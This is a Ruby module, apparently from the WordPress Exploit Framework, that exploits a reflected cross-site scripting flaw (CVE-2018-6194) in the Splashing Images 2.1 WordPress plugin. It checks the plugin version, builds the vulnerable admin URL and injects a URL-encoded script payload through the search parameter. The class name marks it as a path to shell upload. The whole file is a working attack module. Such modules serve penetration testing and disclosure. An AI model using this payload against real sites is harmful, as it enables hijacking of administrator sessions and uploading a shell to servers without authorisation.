# frozen_string_literal: true

class Wpxf::Exploit::SplashingImagesReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Splashing Imagges 2.1 Reflected XSS',
      author: [
        'Nicolas Buzy-Debat',                     # Discovery
        'Paul Williams <phyushin[at]phyubox.com>' # WPXF module
      ],
      references: [
        ['CVE', '2018-6194'],
        ['WPVDB', '9016'],
        ['URL', 'http://seclists.org/fulldisclosure/2018/Jan/91']
      ],
      date: 'Jan 26 2018'
    )
  end

  def check
    check_plugin_version_from_readme('wp-splashing-images', '2.1.1')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'upload.php')
  end

  def url_payload
    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>")
  end

  def url_with_xss
    "#{vulnerable_url}?page=wp-splashing&search=#{url_payload}"
  end
end
